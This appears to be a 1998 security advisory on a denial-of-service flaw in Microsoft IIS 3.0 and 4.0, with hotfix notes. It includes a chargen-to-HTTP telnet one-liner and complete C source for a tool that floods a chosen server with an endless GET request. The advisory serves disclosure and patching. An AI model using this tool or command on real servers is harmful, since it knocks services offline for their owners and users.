COMMAND

    IIS "GET"

SYSTEMS AFFECTED

    Win systems using IIS 3.0 and 4.0 (x86 and Alpha)

PROBLEM

    Following is based  on MS Security  Bulletin.  This  vulnerability
    involves the HTTP GET method, which is used to obtain  information
    from  an  IIS   web  server.  Specially-malformed GET requests can
    create  a  denial  of  service  situation that consumes all server
    resources, causing a server to  "hang." In some cases, the  server
    can be put  back into service  by stopping and  restarting IIS; in
    others, the server may need to be rebooted.  This situation cannot
    happen  accidentally.    The  malformed  GET   requests  must   be
    deliberately constructed and sent to the server.  It is  important
    to note that this vulnerability does not allow data on the  server
    to be compromised, nor  does it allow any  privileges on it to  be
    usurped.

    HTTP  port  will  either  reply  with  `Bad HTTP request', or just
    silently drop connection, whatever you try to `get' from.  As soon
    as  you  send  a  carriage  return  to  port  80,  the  connection
    terminated.  The  request of the  form  `GET  /AAAAAAAAAAAAAA&' is
    received by IIS until you  stop the `AAAA' sequence.   The amazing
    part is that IIS buffers all of  this garbage in RAM!  So, if  you
    start  those  `A's  without  a  single  space  or carriage return,
    they're buffered.    And there's   more.  The   amount of   memory
    required to buffer this request is at least two times the size  of
    request.  And all of this  memory is continuously used.  That  is,
    when  the  server  receives  a  few  additional  `A's Internet, it
    allocates an amount  of memory required  to store all  of the data
    received before, plus the new piece, copies the old buffer and the
    new piece of data to  this newly allocated memory block,  and then
    frees the  old buffer  (this is  just my  thought, but the Perfmon
    charts  do  show  something  like  the  memory  allocated for this
    garbage is accessed every portion of data is received from the Net
    (i.e. from the attacker).

    Well, what does this lead us  to? As soon as RAM is  exhausted, NT
    starts to page of this memory is continuously it's paged back  and
    forth, taking away all enormous disk activity.  If the attack goes
    far enough, the ends up being completely inaccessible (starting  a
    console window  to type  "kill -f  inetinfo" would  take a  lot of
    time.  What's bad  about this attack?   It's hard to identify,  if
    you don't know what  you by IIS, and  the IIS perfmon only  way to
    see it  is via  the netstat  command, but  you'll only see several
    connections to port 80, of those one (which one?) is attack.

    If you  want to  check it  yourself, here's  the source  code (for
    Windows 95/NT), that demonstrates this attack.  And if you have  a
    UNIX host somewhere around, you can do this by typing:

        $ telnet localhost chargen | telnet your-iis-host http

    Microsoft wishes  to acknowledge  the contribution  made by  Brian
    Steele and Eugene Kalinin.  Exploit follows:

    /******************************************************************************\
    * Enema.cpp:
    *     Demonstration of a very dumb DoS attack to Microsoft IIS server.
    *     This program sends a GET request in form GET /AAAAAAAAAAAAAAAAAAAAAAAAAAA
    *     The sequence of 'A's is infinite, causing Microsoft IIS to allocate up all
    *     of the available memory.
    *
    *     The same result may be accomplished in UNIX by issuing the following command:
    *     $ telnet localhost chargen | telnet your-iis-host http
    *
    *       Copyright (C) 1998 Eugene Kalinin.
    *       All rights reserved.
    *
    *       Based in part on the Microsoft Source Code Samples.
    *       Copyright 1996-1997 Microsoft Corporation.
    *       All rights reserved.
    *
    \******************************************************************************/

    #include <windows.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <sys\timeb.h>

    #define DEFAULT_PORT 80

    void Usage(char *progname) {
	    fprintf(stderr,"IISAttack - a very dumb attack to Microsoft Internet Information Server.\n");
	    fprintf(stderr,"Copyright (C) 1998 Eugene Kalinin. All rights reserved.\n");
	    fprintf(stderr,"\n");
	    fprintf(stderr,"Usage\n%s  -n [server] -p [port]\n", progname);
	    fprintf(stderr,"Where:\n");
	    fprintf(stderr,"\tserver is the IP address or name of server\n");
	    fprintf(stderr,"\tport is the port a web server is listening on\n");
	    fprintf(stderr," Hit Ctrl+Break to terminate\n");
	    fprintf(stderr,"Defaults are localhost and 80\n");
	    WSACleanup();
	    exit(1);
    }

    int main(int argc, char **argv) {

	    char Buffer[1024];
	    char *server_name= "127.0.0.1";
	    unsigned short port = DEFAULT_PORT;
	    int retval, loopflag=0;
	    int i, loopcount, maxloop=-1;
	    unsigned int addr;
	    int socket_type = SOCK_STREAM;
	    struct sockaddr_in server;
	    struct hostent *hp;
	    WSADATA wsaData;
	    SOCKET  conn_socket;
	    struct _timeb time0, time1, time[10];
	    double elapsed, last10;
	    int timecount;
	    int lastlen = 0;

	    if (argc >1) {
		    for(i=1;i <argc;i++) {
			    if ( (argv[i][0] == '-') || (argv[i][0] == '/') ) {
				    switch(tolower(argv[i][1])) {
					    case 'n':
						    server_name = argv[++i];
						    break;
					    case 'p':
						    port = atoi(argv[++i]);
						    break;
					    default:
						    Usage(argv[0]);
						    break;
				    }
			    }
			    else
				    Usage(argv[0]);
		    }
	    }

	    if (port == 0){
		    Usage(argv[0]);
	    }

	    printf("Starting up...\n");

	    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
		    fprintf(stderr,"WSAStartup failed with error %d\n",WSAGetLastError());
		    WSACleanup();
		    return -1;
	    }

	    memset(&server,0,sizeof(server));
	    if (isalpha(server_name[0])) {   /* server address is a name */
		    hp = gethostbyname(server_name);
		    memcpy(&(server.sin_addr), hp->h_addr, hp->h_length);
		    server.sin_family = hp->h_addrtype;
	    }
	    else  { /* Convert nnn.nnn address to a usable one */
		    addr = inet_addr(server_name);
		    memcpy(&(server.sin_addr), &addr, sizeof(IN_ADDR));
		    server.sin_family = AF_INET;
	    }
	    server.sin_port = htons(port);

	    conn_socket = socket(AF_INET,socket_type,0); /* Open a socket */
	    if (conn_socket <0 ) {
		    fprintf(stderr,"Error Opening socket: Error %d\n",
			    WSAGetLastError());
		    WSACleanup();
		    return -1;
	    }


	    printf("Connecting to: %s\n", server_name);
	    if (connect(conn_socket,(struct sockaddr*)&server,sizeof(server))
		    == SOCKET_ERROR) {
		    fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());
		    WSACleanup();
		    return -1;
	    }

	    // cook up a string to send
	    //
	    wsprintf(Buffer, "GET /");
	    retval = send(conn_socket,Buffer,sizeof(Buffer),0);
	    if (retval == SOCKET_ERROR) {
		    fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
		    WSACleanup();
		    return -1;
	    }
	    printf("Header sent. Starting to send data. Hit Ctrl+Break to terminate attack.\n");

	    loopcount = 0;

	    memset(Buffer, 'A', sizeof(Buffer));

	    printf("Data sent:\n");

	    _ftime(&time0);
	    timecount = 0;
	    for(i=0; i<10; i++)
		    _ftime(time+i);

	    while(1) {
		    loopcount++;
		    timecount++;
		    timecount %= 10;
		    retval = send(conn_socket,Buffer,sizeof(Buffer),0);
		    if (retval == SOCKET_ERROR) {
			    fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
			    WSACleanup();
			    return -1;
		    }
		    _ftime(&time1);
		    if (lastlen>0)
			    for(i=0; i<lastlen; i++)
				    printf("\x08");
		    elapsed = (time1.time + time1.millitm/1000.) - (time0.time - time0.millitm/1000.);
		    last10 = (time1.time + time1.millitm/1000.) - (time[timecount].time - time[timecount].millitm/1000.);
		    memcpy(time+timecount, &time1, sizeof(_timeb));
		    lastlen = printf("%.3f MB, %6d Bytes/sec average, %6d Bytes/sec current      ", float(float(loopcount) * sizeof(Buffer)/(1024.*1024.)), long(1024.*loopcount/elapsed), long(10240./last10));
	    }
	    closesocket(conn_socket);
	    WSACleanup();

	    return 0;
    }

SOLUTION

    Microsoft has released the following hot fixes:

	- Fix for IIS 3.0 on X86 platforms:
	ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget3i.exe
	- Fix for IIS 4.0 on X86 platforms:
	ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget4i.exe
	- Fix for IIS 3.0 on Alpha platforms:
	ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget3a.exe
	- Fix for IIS 4.0 on Alpha platforms:
	ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget4a.exe

    This fix makes  a server accept  about 2 MB  of malicious traffic,
    then drop the   speed at which   this request is   served,  upload
    very  low  speed)  about  250  KB  more,  and  then disconnect the
    attacker.  Not quite a solution, but...  Be aware when  attempting
    to  apply  the  HotFix  mentioned  that  it is imperative that the
    following services be stopped first:

        IIS Admin Service (IISADMIN)
        Microsoft SMTP Service (SMTPSVC)
        World Wide Web Publishing Service (W3SVC)

    These are all  child services of  the INETINFO.EXE process.   This
    information was not provided in  the TechNet article.  Failure  to
    do so may result in the corruption of the active partition (System
    Partition - typically  the C: drive)  or the Internet  Information
    Server 4.0 metabase.   A failed metabase  could result in  various
    problems, including an effective denial of service attack when Web
    pages send a process request which is improperly formed and passed
    on to INETINFO.  If  the drive or the metabase  becomes corrupted,
    it may be  possible to restore  the system using  a backup of  the
    drive  or  the  metabase,  or  removing  and  reinstalling  server
    applications and services such as IIS 4.0 and MSDTC.  Reinstalling
    server  applications  and  services  over  the  existing corrupted
    install will fail to correct the problem they must be  uninstalled
    first!

    For what  its worth,  the Hot  Fix is  suppose to  shut down those
    services above, and very well  may.  The problem appears  when the
    Hot Fix finishes its installation, again it restarts the  INETINFO
    process.  In  turn, this causes  the server to  fail to shut  down
    and/or reboot.  If the problem  was just as simple as forcing  the
    server to reboot  it would not  be a big  problem, however, it  is
    speculated  that  in  cases  where  multiple Virtual Web sites are
    hosted on the  machine; data corruption  occurs during the  failed
    shutdown.  This occured in  two installations on a server  hosting
    multiple Virtual Webs.  Data  corruption does not appear to  occur
    when only a single Web is configured on the machine, such as a new
    server  installation.   Microsoft  confirmed  that  after applying
    InfGET4i.exe that Windows NT fails to properly shut down and  must
    be forced to shut down.  If you do install the INFGET4I.EXE do not
    use the RESET or POWER button to shutdown your server if it  fails
    to shutdown and restart.  The proper method for shutting down  the
    server at  that point  is to  press CTRL-ALT-DEL,  select LOG OFF,
    re-login to the server and then press Start -> Shutdown -> Restart
    If you select SHUTDOWN on the CTRL-ALT-DEL dialog box your  system
    may lock up completely.   Use the recommended method for  shutting
    down the server and the amount of data corruption (if any) will be
    limited.

    Also, an installation of INF4GET.EXE prior to the installation  of
    MDAC  2.0x  does  not  hang  the  system  on  shutdown,   however,
    installing  MDAC  2.0x  then  installing  INF4GET.EXE results in a
    system  hang  on  shutdown.   In  addition,  this appears to occur
    regardless of the permission settings.  Though at the very  least,
    this will only prevent the server from shutting down, depending on
    the  condition  of  your  system  and  the  files contained on the
    computer it could result in  unexpected damage to the file  system
    which could prevent the server from booting.  Prior to  installing
    any HotFix  it is  my recommendation  that you  create an  updated
    Emergency  Repair  Diskette,  backup  the  IIS  Metabase, as well,
    ensure that you have a current backup of your server, in addition,
    the tape  back-up device  should be  attached to  the server.  The
    secondary problem, that of  the INETINFO.EXE causing a  Dr. Watson
    Error #4097 and unexpectedly shutting down, has been confirmed  by
    Microsoft.  In actuality the problem is caused by a  functionality
    change in Windows  NT/MDAC.  Previous  versions of MDAC  seemed to
    disregard the permissions associated  with a user.   Subsequently,
    Microsoft  corrected  the  previously  unknown  bug  but failed to
    properly reflect those changes in existing documentation (Q187506)
    nor  detail  those  changes   in  any  new  documentation.    From
    conversations with  a Microsoft  Support Engineer  it appears that
    Microsoft was aware of the  problem with the release of  MDAC 2.x,
    however,  failed  to  document  it  internally  or externally, and
    infact tabled the documenation.   As of last week there  still was
    no person  assigned to  perform the  documentation.   The case  is
    officially closed by Microsoft as the problem has been  determined
    and  Microsoft  will  be  modifying  TechNet  Article  Q187506  to
    properly reflect the required permission settings.  This currently
    has  not  been  modified.   In  addition,  new  documentation   is
    scheduled to be developed to identify the changes imposed by  MDAC
    2.0x.   It's  release  or  article  number  is  as of this writing
    unknown.  (Thnx to Larry Budd for info).